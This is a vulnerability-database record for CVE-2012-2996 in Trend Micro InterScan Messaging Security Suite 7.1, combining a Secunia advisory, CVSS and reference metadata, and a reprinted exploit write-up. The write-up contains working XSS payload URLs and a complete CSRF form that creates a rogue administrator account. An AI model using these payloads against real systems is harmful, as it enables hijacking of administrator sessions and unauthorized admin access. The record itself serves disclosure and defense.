VAR-201209-0238
Vulnerability from variot - Updated: 2022-05-04 08:58Cross-site request forgery (CSRF) vulnerability in saveAccountSubTab.imss in Trend Micro InterScan Messaging Security Suite 7.1-Build_Win32_1394 allows remote attackers to hijack the authentication of administrators for requests that create admin accounts via a saveAuth action. A cross-site scripting vulnerability. 2. An HTML-injection vulnerability. 3. A cross-site request-forgery vulnerability. An attacker can exploit these issues to steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user's session, or to disclose sensitive-information. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released. Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
TITLE: Trend Micro InterScan Messaging Security Suite Cross-Site Scripting and Request Forgery
SECUNIA ADVISORY ID: SA50620
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/50620/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
RELEASE DATE: 2012-09-17
DISCUSS ADVISORY: http://secunia.com/advisories/50620/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/50620/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in Trend Micro InterScan Messaging Security Suite, which can be exploited by malicious people to conduct cross-site scripting and request forgery attacks.
1) The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to e.g. create an arbitrary user with administrative privileges if a logged-in administrative user visits a malicious web site
2) Input passed to the "src" parameter in initUpdSchPage.imss is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
The vulnerabilities are reported in version 7.1-Build_Win32_1394. Other versions may also be affected.
SOLUTION: No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY: US-CERT credits Tom Gregory.
ORIGINAL ADVISORY: http://www.kb.cert.org/vuls/id/471364
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF
Date: 13/09/2012
Exploit Author: modpr0be (modpr0be[at]spentera.com)
Vendor Homepage: http://www.trendmicro.com
Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip
Version: 7.1-Build_Win32_1394
Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
CVE : CVE-2012-2995, CVE-2012-2996
Software Description
TrendMicro Interscan Messaging Security is the industry’s most comprehensive
mail gateway security. Choose state-of-the-art software or a hybrid solution
with on-premise virtual appliance and optional cloud pre-filter that blocks
the vast majority of spam and malware outside your network. Plus our Data
Privacy and Encryption Module secure outbound data to ensure privacy and
regulatory compliance.
Proof of Concept
Persistent/Stored XSS
this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word
will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??)
hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss">alert('XSS')
Non-persistent/Reflected XSS
This is non-persistent XSS, you might lure target user to click this link :)
hxxps://127.0.0.1/initUpdSchPage.imss?src=">alert('XSS')
Cross-Site Request Forgery
This POC should be targeted to user with admin privilege
It will add admin user with user quorra, and password quorra.123
Target victim must be authenticated when perform this POC
References
http://www.spentera.com/advisories/2012/SPN-05-2012.html
http://www.kb.cert.org/vuls/id/471364
http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201209-0238",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "interscan messaging security suite",
"scope": "eq",
"trust": 1.6,
"vendor": "trendmicro",
"version": "7.1"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "trend micro",
"version": null
},
{
"model": "interscan messaging security suite",
"scope": "eq",
"trust": 0.8,
"vendor": "trend micro",
"version": "7.0 (linux version and solaris edition )"
},
{
"model": "interscan messaging security suite",
"scope": "eq",
"trust": 0.8,
"vendor": "trend micro",
"version": "7.1 (linux version and windows edition )"
},
{
"model": "interscan messaging security virtual appliance",
"scope": "eq",
"trust": 0.8,
"vendor": "trend micro",
"version": "7.0"
},
{
"model": "interscan messaging security virtual appliance",
"scope": "eq",
"trust": 0.8,
"vendor": "trend micro",
"version": "8.0"
},
{
"model": "interscan messaging security virtual appliance",
"scope": "eq",
"trust": 0.8,
"vendor": "trend micro",
"version": "8.2"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#471364"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:trendmicro:interscan_messaging_security_suite:7.1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Tom Gregory",
"sources": [
{
"db": "BID",
"id": "55542"
}
],
"trust": 0.3
},
"cve": "CVE-2012-2996",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 6.8,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2012-2996",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 1.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2012-2996",
"trust": 1.8,
"value": "Medium"
},
{
"author": "CNNVD",
"id": "CNNVD-201209-365",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Cross-site request forgery (CSRF) vulnerability in saveAccountSubTab.imss in Trend Micro InterScan Messaging Security Suite 7.1-Build_Win32_1394 allows remote attackers to hijack the authentication of administrators for requests that create admin accounts via a saveAuth action. A cross-site scripting vulnerability. \n2. An HTML-injection vulnerability. \n3. A cross-site request-forgery vulnerability. \nAn attacker can exploit these issues to steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user\u0027s session, or to disclose sensitive-information. ----------------------------------------------------------------------\n\nThe final version of the CSI 6.0 has been released. \nFind out why this is not just another Patch Management solution: http://secunia.com/blog/325/\n\n----------------------------------------------------------------------\n\nTITLE:\nTrend Micro InterScan Messaging Security Suite Cross-Site Scripting\nand Request Forgery\n\nSECUNIA ADVISORY ID:\nSA50620\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/50620/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=50620\n\nRELEASE DATE:\n2012-09-17\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/50620/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/50620/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=50620\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in Trend Micro InterScan\nMessaging Security Suite, which can be exploited by malicious people\nto conduct cross-site scripting and request forgery attacks. \n\n1) The application allows users to perform certain actions via HTTP\nrequests without performing any validity checks to verify the\nrequests. This can be exploited to e.g. create an arbitrary user with\nadministrative privileges if a logged-in administrative user visits a\nmalicious web site\n\n2) Input passed to the \"src\" parameter in initUpdSchPage.imss is not\nproperly sanitised before being returned to the user. This can be\nexploited to execute arbitrary HTML and script code in a user\u0027s\nbrowser session in context of an affected site. \n\nThe vulnerabilities are reported in version 7.1-Build_Win32_1394. \nOther versions may also be affected. \n\nSOLUTION:\nNo official solution is currently available. \n\nPROVIDED AND/OR DISCOVERED BY:\nUS-CERT credits Tom Gregory. \n\nORIGINAL ADVISORY:\nhttp://www.kb.cert.org/vuls/id/471364\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF\n# Date: 13/09/2012\n# Exploit Author: modpr0be (modpr0be[at]spentera.com)\n# Vendor Homepage: http://www.trendmicro.com\n# Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip\n# Version: 7.1-Build_Win32_1394\n# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)\n# CVE : CVE-2012-2995, CVE-2012-2996\n \n# Software Description\n# TrendMicro Interscan Messaging Security is the industry\u2019s most comprehensive\n# mail gateway security. Choose state-of-the-art software or a hybrid solution\n# with on-premise virtual appliance and optional cloud pre-filter that blocks\n# the vast majority of spam and malware outside your network. Plus our Data\n# Privacy and Encryption Module secure outbound data to ensure privacy and\n# regulatory compliance. \n \n# Proof of Concept\n# Persistent/Stored XSS\n# this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word\n# will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??)\nhxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss\"\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\n \n# Non-persistent/Reflected XSS\n# This is non-persistent XSS, you might lure target user to click this link :)\nhxxps://127.0.0.1/initUpdSchPage.imss?src=\"\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\n \n# Cross-Site Request Forgery\n# This POC should be targeted to user with admin privilege\n# It will add admin user with user quorra, and password quorra.123\n# Target victim must be authenticated when perform this POC\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"hxxps://127.0.0.1:8445/saveAccountSubTab.imss\" method=\"POST\"\u003e\n\u003cinput type=\"hidden\" name=\"enabled\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"authMethod\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"name\" value=\"quorra\" /\u003e\n\u003cinput type=\"hidden\" name=\"password\" value=\"quorra.123\" /\u003e\n\u003cinput type=\"hidden\" name=\"confirmPwd\" value=\"quorra.123\" /\u003e\n\u003cinput type=\"hidden\" name=\"tabAction\" value=\"saveAuth\" /\u003e\n\u003cinput type=\"hidden\" name=\"gotoTab\" value=\"saveAll\" /\u003e\n\u003cinput type=\"submit\" value=\"CSRF\" /\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n \n# References\n# http://www.spentera.com/advisories/2012/SPN-05-2012.html\n# http://www.kb.cert.org/vuls/id/471364\n# http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html\n\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2012-2996"
},
{
"db": "CERT/CC",
"id": "VU#471364"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "BID",
"id": "55542"
},
{
"db": "PACKETSTORM",
"id": "116624"
},
{
"db": "PACKETSTORM",
"id": "116566"
}
],
"trust": 2.79
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#471364",
"trust": 3.7
},
{
"db": "NVD",
"id": "CVE-2012-2996",
"trust": 2.8
},
{
"db": "SECUNIA",
"id": "50620",
"trust": 1.8
},
{
"db": "SECTRACK",
"id": "1027544",
"trust": 1.0
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365",
"trust": 0.6
},
{
"db": "BID",
"id": "55542",
"trust": 0.3
},
{
"db": "PACKETSTORM",
"id": "116624",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "116566",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#471364"
},
{
"db": "BID",
"id": "55542"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "PACKETSTORM",
"id": "116624"
},
{
"db": "PACKETSTORM",
"id": "116566"
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"id": "VAR-201209-0238",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VARIoT devices database",
"id": null
}
],
"trust": 0.29385966
},
"last_update_date": "2022-05-04T08:58:04.540000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "InterScan Messaging Security",
"trust": 0.8,
"url": "http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html"
},
{
"title": "CVE-2012-2996\u3000\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea(CSRF)\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066",
"trust": 0.8,
"url": "http://esupport.trendmicro.co.jp/pages/jp-2081970.aspx"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.9,
"url": "http://www.kb.cert.org/vuls/id/471364"
},
{
"trust": 1.6,
"url": "http://secunia.com/advisories/50620"
},
{
"trust": 1.0,
"url": "http://www.securitytracker.com/id?1027544"
},
{
"trust": 0.9,
"url": "http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html"
},
{
"trust": 0.8,
"url": "http://cwe.mitre.org/data/definitions/352.html"
},
{
"trust": 0.8,
"url": "http://cwe.mitre.org/data/definitions/79.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2996"
},
{
"trust": 0.8,
"url": "http://jvn.jp/cert/jvnvu471364/"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-2996"
},
{
"trust": 0.3,
"url": "http://apac.trendmicro.com/apac/products/enterprise/interscan-messaging-security-suite/"
},
{
"trust": 0.1,
"url": "http://secunia.com/vulnerability_intelligence/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/secunia_security_advisories/"
},
{
"trust": 0.1,
"url": "http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/about_secunia_advisories/"
},
{
"trust": 0.1,
"url": "http://secunia.com/vulnerability_scanning/personal/"
},
{
"trust": 0.1,
"url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
},
{
"trust": 0.1,
"url": "http://secunia.com/blog/325/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/50620/#comments"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/50620/"
},
{
"trust": 0.1,
"url": "https://ca.secunia.com/?page=viewadvisory\u0026vuln_id=50620"
},
{
"trust": 0.1,
"url": "http://www.trendmicro.com/ftp/products/interscan/imss_v7.1_win_1394.zip"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-2996"
},
{
"trust": 0.1,
"url": "http://www.spentera.com/advisories/2012/spn-05-2012.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-2995"
},
{
"trust": 0.1,
"url": "http://www.trendmicro.com"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#471364"
},
{
"db": "BID",
"id": "55542"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "PACKETSTORM",
"id": "116624"
},
{
"db": "PACKETSTORM",
"id": "116566"
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#471364"
},
{
"db": "BID",
"id": "55542"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"db": "PACKETSTORM",
"id": "116624"
},
{
"db": "PACKETSTORM",
"id": "116566"
},
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-09-13T00:00:00",
"db": "CERT/CC",
"id": "VU#471364"
},
{
"date": "2012-09-13T00:00:00",
"db": "BID",
"id": "55542"
},
{
"date": "2012-09-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"date": "2012-09-18T11:57:52",
"db": "PACKETSTORM",
"id": "116624"
},
{
"date": "2012-09-15T00:19:52",
"db": "PACKETSTORM",
"id": "116566"
},
{
"date": "2012-09-19T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"date": "2012-09-17T14:55:00",
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2014-08-15T00:00:00",
"db": "CERT/CC",
"id": "VU#471364"
},
{
"date": "2012-09-13T00:00:00",
"db": "BID",
"id": "55542"
},
{
"date": "2012-10-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2012-004436"
},
{
"date": "2012-09-19T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201209-365"
},
{
"date": "2013-04-13T02:54:00",
"db": "NVD",
"id": "CVE-2012-2996"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Trend Micro InterScan Messaging Security Suite is vulnerable to XSS and CSRF vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#471364"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201209-365"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…